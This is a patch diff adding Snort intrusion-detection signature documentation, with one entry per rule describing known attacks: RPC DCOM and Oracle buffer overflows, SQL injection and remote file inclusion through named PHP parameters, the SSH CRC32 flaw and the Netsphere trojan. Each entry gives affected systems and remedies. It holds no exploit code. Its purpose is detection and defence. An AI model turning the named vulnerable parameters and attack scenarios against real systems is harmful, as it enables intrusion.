+
--- snort-2.7.0.orig/doc/signatures/3223.txt
+++ snort-2.7.0/doc/signatures/3223.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3223
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2914.txt
+++ snort-2.7.0/doc/signatures/2914.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2914
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure set_local_flavor
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3173.txt
+++ snort-2.7.0/doc/signatures/3173.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3173
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/591.txt
+++ snort-2.7.0/doc/signatures/591.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+591
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) ypupdated is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port ypupdated is using.  Attackers can also learn what versions of the ypupdated protocol are accepted by ypupdated.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as ypupdated run.  The ypupdated RPC service allows clients to update maps for Network Information Service (NIS), formerly known as Sun Yellow Pages.  A vulnerability exists with improper validation associated with the 'make' command used to update changes, allowing the execution of arbitrary commands as root.  
+
+--
+Affected Systems:
+HP HP-UX 10.1, 10.10, 10.20
+IBM AIX 3.2, 4.1
+NEC EWS-UX/V, UP-UX/V 
+SGI IRIX 3.2, 3.3, 3.3.1, 3.3.2, 3.3.3, 4.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 5.0, 5.0.1, 5.1, 5.1.1, 5.2, 5.3, 6.0.1
+Sun SunOS 4.1, 4.1.1, 4.1.2, 4.1.3, 4.1.4
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where ypupdated runs.  This may be a precursor to accessing ypupdated.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access ypupdated, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for ypupdated, not probes of the ypupdated service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the ypupdated service itself. An attacker may attempt to go directly to the ypupdated port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/1749
+
+CERT
+http://www.cert.org/advisories/CA-1995-17.html
+
+Arachnids 
+http://www.whitehats.com/info/IDS125
+
+
+--
--- snort-2.7.0.orig/doc/signatures/817.txt
+++ snort-2.7.0/doc/signatures/817.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+817
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/863.txt
+++ snort-2.7.0/doc/signatures/863.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+863
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/146.txt
+++ snort-2.7.0/doc/signatures/146.txt
@@ -0,0 +1,95 @@
+Rule:
+
+--
+Sid:
+146
+
+--
+Summary:
+Netsphere is a Trojan Horse offering the attacker access to the victims 
+filesystem, instant messaging clients and some control over peripherals.
+This event is generated when a Netsphere server responds to an attackers
+client.
+
+--
+Impact:
+Compromise of data integrity on the victim host as well as the 
+possibility of rendering the machine temporarily unusable.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Netsphere
+sever to programs normally started on boot. Due to the nature of this
+Trojan it is unlikely that the attacker's client IP address has been
+spoofed.
+
+The Trojan also gives the attacker the ability to access the victims 
+filesystem, turn the monitor on and off, control the mouse, access 
+instant messaging applications and render a pentium based machine 
+unusable.
+
+The Trojan is also known to use TCP ports 30100, 30101 and 30102.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is named NetSphereServer.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	NSSX
+
+Removal of this entry is required.
+
+Delete the file NetSphereServer.exe.
+
+Ending the Trojan process is also necessary. A reboot of the infected
+machine is recommended.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS76
+
+--
--- snort-2.7.0.orig/doc/signatures/917.txt
+++ snort-2.7.0/doc/signatures/917.txt
@@ -0,0 +1,62 @@
+SID:
+917
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2650.txt
+++ snort-2.7.0/doc/signatures/2650.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2650
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+
+An attacker can attempt to connect to a database using an overly
+long user name value. This can cause a buffer overflow, allowing
+an attacker to execute arbitrary code.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+       Oracle8, Oracle8i, and Oracle9i
+
+--
+Attack Scenarios:
+An attacker can attempt to connect to a database supplying the
+user an overly long value.  The result could permit the
+attacker to gain escalated privileges and run code of their
+choosing.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck62.html
+
+--
--- snort-2.7.0.orig/doc/signatures/584.txt
+++ snort-2.7.0/doc/signatures/584.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+584
+
+--
+Summary:
+This event is generated when an attempt is made to probe a host for the
+rusers RPC service.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+The rusers RPC service is used to remotely list all logged in users on a
+machine. This information may be useful to an attacker when targeting a
+remote host.
+
+--
+Affected Systems:
+	All systems running the rusers RPC service
+ 
+--
+Attack Scenarios:
+An attacker runs a vulnerability assessment tool, or the standard Unix
+rusers command.  The attacker may use information gleaned from this to
+better target his attacks.
+
+--
+Ease of Attack:
+Simple. Tools to probe the rusers service come standard with most Unix variants.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the rusers service.
+
+Disallow access to RPC services from hosts external to the protected
+network
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1970.txt
+++ snort-2.7.0/doc/signatures/1970.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1970
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow in the Remote Data Services (RDS) component of Microsoft Data Access Components (MDAC).  
+
+--
+Impact:
+Remote Access.  If the exploit is successful, an attacker can gain remote access to the host.
+
+--
+Detailed Information:
+MDAC is a set of components that facilitates database access on Windows platforms.  The RDS component provides remote access to a database through Internet Information Services (IIS).  A vulnerability exists because of incorrect string handling with the RDS interface allowing an attacker to send a malformed HTTP request that overruns onto the heap.  This may allow execution of arbitrary code on the system. 
+
+--
+Affected Systems:
+Windows hosts running MDAC 2.1, 2.5, 2.6
+
+--
+Attack Scenarios:
+An attacker can send a malformed HTTP request that is improperly validated by RDS, subsequently causing a buffer overflow.
+
+--
+Ease of Attack:
+Difficult.  According to the Microsoft bulletin, a heap is more difficult to exploit than a stack overflow.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply security hotfix for Q329414.
+
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1142
+
+Foundstone
+http://www.foundstone.com/knowledge/randd-advisories-display.html?id=337
+
+Microsoft
+http://support.microsoft.com/default.aspx?scid=kb;en-us;Q329414
+
+--
--- snort-2.7.0.orig/doc/signatures/3382.txt
+++ snort-2.7.0/doc/signatures/3382.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3382
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000496.txt
+++ snort-2.7.0/doc/signatures/100000496.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000496
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Chipmailer" application running on a webserver. Access to 
+the file "index.php" with SQL commands being passed as the "anfang" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "anfang" parameter in the "index.php" script used by the 
+"Chipmailer" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Chipmailer
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1324.txt
+++ snort-2.7.0/doc/signatures/1324.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1324
+
+--
+Summary:
+Secure Shell (SSH) is used to remotely manage systems over encrypted TCP
+sessions. This event is generated when an attempt is made to exploit 
+vulnerable versions of the SSH daemon.
+
+--
+Impact:
+System compromize presenting the attacker with root privileges. Denial 
+of Service (DoS) on certain network devices.
+
+--
+Detailed Information:
+A flaw in the CRC32 compensation attack detection code may result in 
+arbitrary code execution with the privileges of the user running the SSH
+daemon (usually root).
+
+Some Netscreen devices may suffer a Denial of Service.
+
+Affected Systems:
+	OpenSSH versions prior to 2.2
+	Multiple Cisco network devices
+	Multiple Netscreen network devices
+	SSH Secure Communications prior to 1.2.31
+
+--
+Attack Scenarios:
+The attacker would need to send specially crafted large SSH packets to 
+cause the overflow and present the opportunity to write values to memory
+locations.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/945216
+
+Analysis by David Dittrich:
+http://staff.washington.edu/dittrich/misc/ssh-analysis.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/2476.txt
+++ snort-2.7.0/doc/signatures/2476.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2476
+
+--
+Summary:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings then create an entry in the winreg service.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.7.0.orig/doc/signatures/1103.txt
+++ snort-2.7.0/doc/signatures/1103.txt
@@ -0,0 +1,64 @@
+Rule:
+--
+Sid:
+1103
+--
+Summary:
+This event is generated when a client is requesting a file that may 
+contain an administrator name and password.
+
+--
+Impact:
+An attacker may be able to gain administrator access to your web server.
+
+--
+Detailed Information:
+Some versions of Netscape Enterprise Server  put a world readable text 
+file containing the administrator user name and encrypted password in a 
+standard location within the URI space. By acessing this, an attacker 
+may be able to brute force guess or even decrypt the password.
+
+--
+Affected Systems:
+	Netscape Enterprise/3.6 SP3
+	Netscape Fasttrack/3.0.2
+	Netscape Messaging Server/3.6
+	Netscape Messaging Server/4.15p2
+	Netscape Collabra Server/3.54
+
+--
+Attack Scenarios:
+This is an information gathering operation that could allow an attacker 
+to execute a brute force password guessing attack.
+
+--
+Ease of Attack:
+Moderate.   The file is easy enough to get access to, but the password 
+is still encrypted.
+
+--
+False Positives:
+None.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Set appropriate permissions on this file or upgrade your web server 
+software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+Secureiteam
+http://www.securiteam.com/securitynews/5OR040A1UG.html
+
+--
--- snort-2.7.0.orig/doc/signatures/912.txt
+++ snort-2.7.0/doc/signatures/912.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+912
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000553.txt
+++ snort-2.7.0/doc/signatures/100000553.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000553
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PHPMySMS" application running on a webserver. 
+Access to the file "gateway.php" using a remote file being passed as the 
+"ROOT_PATH" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "ROOT_PATH" parameter in the "gateway.php" script used 
+by the "PHPMySMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPMySMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2366.txt
+++ snort-2.7.0/doc/signatures/2366.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+2366
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application PhpGedView.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+PhpGedView contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the PGV_BASE_DIRECTORY
+parameter when making a GET or POST  request to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	PhpGedView 2.65.1 and earlier
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path to the PGV_BASE_DIRECTORY variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1024.txt
+++ snort-2.7.0/doc/signatures/1024.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1024
+
+--
+Summary:
+This event is generated when an attempt is made to access the newdsn.exe file, which is a sample program installed with Internet Information Server (IIS) 3.0. 
+
+--
+Impact:
+File creation.  This attack can allow the creation of a new Microsoft Access Database (.mdb) file on the vulnerable server.
+
+--
+Detailed Information:
+IIS 3.0 comes with a sample program newdsn.exe.  An attacker can craft a URL to reference this executable and, as a parameter, pass the name of a new file to be created.  The file may have any extension, but will be considered a Microsoft Access Database file. 
+
+--
+Affected Systems:
+IIS 3.0 servers
+
+--
+Attack Scenarios:
+An attacker can craft a URL to execute the vulnerable newdsn.exe and create a Microsoft Access Database file on the vulnerable server. 
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Delete the newdsn.exe file.
+
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0191
+
+
+--
